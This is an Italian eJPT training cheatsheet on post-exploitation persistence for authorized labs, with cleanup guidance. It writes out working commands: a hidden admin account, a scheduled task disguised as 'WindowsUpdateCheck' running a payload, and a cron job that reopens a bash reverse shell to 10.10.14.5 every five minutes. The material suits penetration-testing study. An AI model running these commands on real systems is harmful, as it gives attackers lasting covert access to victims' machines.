← Tutti i cheatsheet

eJPT · Exploitation & Post-Ex

Persistence: Concetti di Base

Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 05-Pivoting-Port-Forwarding.md Lab: INE PTS labs (solo ambiente di lab autorizzato)

Obiettivo

Fin qui hai ottenuto accesso e magari anche privilegi elevati, ma quell’accesso vive solo mentre la tua shell resta viva: un reboot, una sessione che cade, e sei di nuovo al punto di partenza. La persistenza è la risposta concettuale a questo problema — e la parola chiave è “concettuale”: qui non stai imparando a nascondere una backdoor per sempre, stai imparando a riconoscere e documentare questi meccanismi per il report, SEMPRE nell’ottica di un engagement autorizzato. Ogni cosa che crei in lab la rimuovi a fine test; su un sistema reale la persistenza si usa solo con autorizzazione scritta esplicita del cliente, punto.

Concetti chiave

Perché la persistenza e nello scope eJPTv2

In un assessment reale, dopo aver ottenuto accesso iniziale, si valuta anche quanto sia facile per un attaccante reale mantenere l’accesso nel tempo (per il report finale). L’eJPTv2 testa la comprensione concettuale di queste tecniche, non necessariamente l’uso avanzato in produzione.

Categorie di persistenza

Categoria Esempio Note
Account-based creazione nuovo utente locale/dominio facilmente rilevabile in audit log
Task/servizio schedulato scheduled task Windows, cron job Linux eseguito automaticamente, sopravvive al reboot
Registro/avvio automatico chiave Run nel registro Windows eseguito ad ogni logon utente
Backdoor applicativa modifica di un binario/servizio esistente più difficile da rilevare ma più invasiva
Meterpreter persistence module script che ristabilisce la sessione automaticamente comodo per lab, va sempre rimosso a fine test

Strumenti

Tool Comando base Output Note
net user (Windows) net user backdoor Password123! /add nuovo utente locale poi net localgroup Administrators backdoor /add per privilegi
schtasks (Windows) schtasks /create /sc onlogon /tn "Update" /tr C:\payload.exe task che si attiva al logon va rimosso con /delete a fine test
crontab (Linux) (crontab -l; echo "* * * * * /tmp/backdoor.sh") \| crontab - job eseguito ogni minuto va rimosso a fine test
Metasploit persistence run persistence -X -i 30 -p 4444 -r 10.10.14.5 (modulo legacy) script di riconnessione automatica in versioni moderne usa exploit/windows/local/persistence

Payload / Esempi

Esempio 1: scheduled task come meccanismo di persistenza (lab)

schtasks /create /sc onlogon /tn "WindowsUpdateCheck" /tr "C:\Users\Public\payload.exe" /rl highest

Spiegazione: crea un task che esegue il payload ad ogni logon con i privilegi più alti disponibili all’utente; va documentato nel report e rimosso a fine engagement con schtasks /delete /tn "WindowsUpdateCheck" /f.

Esempio 2: cron job di persistenza (lab)

(crontab -l 2>/dev/null; echo "*/5 * * * * bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'") | crontab -

Spiegazione: ristabilisce una reverse shell ogni 5 minuti; utile per dimostrare l’impatto nel report, ma va rimosso con crontab -e a fine test.

Esempio 3: verifica e rimozione fine engagement

crontab -l
crontab -r

schtasks /query /tn "WindowsUpdateCheck"
schtasks /delete /tn "WindowsUpdateCheck" /f

Spiegazione: ogni meccanismo di persistenza creato durante il test DEVE essere elencato in una checklist di cleanup e rimosso verificabilmente prima della chiusura dell’engagement.

Evasion / Bypass Techniques

Fuori scope per eJPTv2 in dettaglio (tecniche EDR evasion avanzate appartengono a certificazioni successive come eCPPT/eCPTX). È sufficiente conoscere che meccanismi “rumorosi” (nuovo utente, task con nome sospetto) sono facilmente rilevabili da un blue team attento.

Lab Hands-On

Lab 1: INE PTS lab, cleanup checklist

Obiettivo: creare un meccanismo di persistenza in lab, documentarlo, poi rimuoverlo verificando che non resti traccia attiva Difficulty: Facile Time: 45 min

Walkthrough breve:

  1. Crea uno scheduled task o cron job di persistenza sul target di lab
  2. Documenta comando esatto, orario di creazione, scopo
  3. Verifica che il meccanismo funzioni (riconnessione)
  4. Rimuovilo e verifica che non sia più presente

Common Mistakes

  • Lasciare meccanismi di persistenza attivi a fine engagement -> rischio di sicurezza reale per il cliente, violazione delle rules of engagement
  • Non documentare cosa e stato creato -> impossibile fare cleanup completo
  • Usare nomi di task/utenti troppo ovvi in un vero red team engagement (fuori scope eJPTv2, ma buono saperlo)

Connessioni

Checklist di padronanza

  • Conosco le categorie principali di persistenza (account, task, registro, backdoor)
  • So creare e rimuovere uno scheduled task/cron di lab
  • Capisco perché il cleanup e obbligatorio in un engagement reale
  • So documentare un meccanismo di persistenza per il report